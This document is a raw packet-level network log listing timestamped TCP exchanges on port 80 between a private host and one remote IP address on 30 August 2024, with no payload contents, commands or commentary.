Aug 30, 2024 18:13:04.338222980 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.338237047 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.338248014 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.342240095 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342281103 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.342307091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342319965 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342330933 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342349052 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.342360973 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.342374086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342379093 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.342412949 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.342463970 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342474937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342484951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342508078 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.342520952 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.342665911 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342675924 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342686892 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342696905 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342699051 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.342710018 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342716932 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.342736959 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.342747927 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.342839003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342850924 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342881918 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.342968941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342979908 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342989922 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.342999935 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343008041 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343014956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343020916 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343027115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343039036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343039989 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343054056 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343063116 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343082905 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343091965 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343274117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343285084 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343296051 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343306065 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343316078 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343333006 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343333006 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343350887 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343374014 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343411922 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343545914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343556881 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343566895 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343576908 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343590021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343590021 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343606949 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343609095 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343620062 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343632936 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343651056 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343791962 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343802929 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343812943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343822956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343837023 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343837976 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343847036 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343851089 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343869925 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343885899 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.343929052 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.343971014 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.344023943 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.344036102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.344047070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.344058037 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.344063997 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.344069958 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.344080925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.344089031 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.344098091 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.344119072 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.378498077 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.378556967 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.378618956 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.378631115 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.378642082 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.378652096 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.378664017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.378669024 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.378678083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.378696918 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.378704071 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.378731966 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.379961014 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380007029 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.380012035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380026102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380053043 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.380065918 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.380105019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380115986 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380142927 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.380156040 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.380202055 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380213976 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380248070 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.380287886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380326986 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.380363941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380376101 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380403996 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.380414009 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.380580902 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380594969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380604982 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380614996 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380625010 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380635977 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.380665064 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.380698919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380712032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380722046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380733013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380740881 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.380773067 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.380892992 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380904913 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380917072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380925894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.380928993 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.380964041 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.421964884 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.422015905 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.422029972 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.422127008 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.422137976 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.422147989 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.422178984 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.422179937 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.422209978 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.422209978 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.422285080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.422297955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.422333956 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.422390938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.422403097 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.422413111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.422435999 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.422456026 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.422503948 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.422533035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.422544956 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.422581911 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.422616959 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.424833059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.424864054 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.424885035 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.424887896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.424901009 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.424927950 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.424940109 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.425009012 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425020933 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425030947 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425041914 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425057888 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.425082922 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.425179005 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425215960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425228119 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425228119 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.425256968 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.425266981 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.425378084 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425390959 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425401926 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425411940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425426960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425431013 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.425455093 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.425471067 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.425661087 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425673962 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425683975 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425695896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425705910 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425707102 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.425718069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.425739050 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.425753117 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.429145098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429157019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429167986 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429193974 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.429208040 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.429239035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429250002 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429260015 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429280996 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.429299116 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.429371119 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429383039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429393053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429414034 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.429435015 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.429524899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429541111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429552078 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429560900 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429567099 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.429573059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429582119 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429586887 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.429615021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.429627895 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.429774046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429785013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429795027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429805994 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429816008 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.429816961 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429825068 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.429831028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.429857016 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.429872990 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430006027 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430016994 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430027962 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430047035 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430068970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430128098 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430140018 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430150032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430160999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430171967 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430188894 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430211067 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430250883 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430260897 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430270910 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430294037 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430314064 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430394888 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430407047 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430416107 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430427074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430439949 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430447102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430458069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430465937 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430469036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430480957 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430481911 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430489063 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430497885 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430505991 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430514097 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430527925 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430553913 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430819035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430829048 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430860043 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430876970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430919886 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430931091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430941105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430952072 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430962086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430962086 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430973053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.430988073 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.430998087 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.431030035 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.465313911 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.465341091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.465351105 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.465390921 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.465486050 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.465496063 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.465497971 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.465497971 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.465498924 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.465507984 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.465517044 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.465524912 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.465543985 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.465567112 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.466737032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.466758013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.466767073 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.466797113 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.466813087 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.466872931 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.466885090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.466896057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.466907024 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.466912031 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.467017889 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.467046976 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.467053890 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.467067003 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.467104912 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.467164040 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.467174053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.467185020 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.467205048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.467217922 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.467327118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.467340946 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.467350960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.467370987 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.467394114 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.467447996 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.467458963 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.467469931 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.467489004 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.467513084 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.467559099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.467592955 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.467662096 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.467673063 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.467689991 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.467698097 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:04.467701912 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.467725039 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.467734098 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:04.508941889 CEST	80	49733	193.176.190.41	192.168.2.4
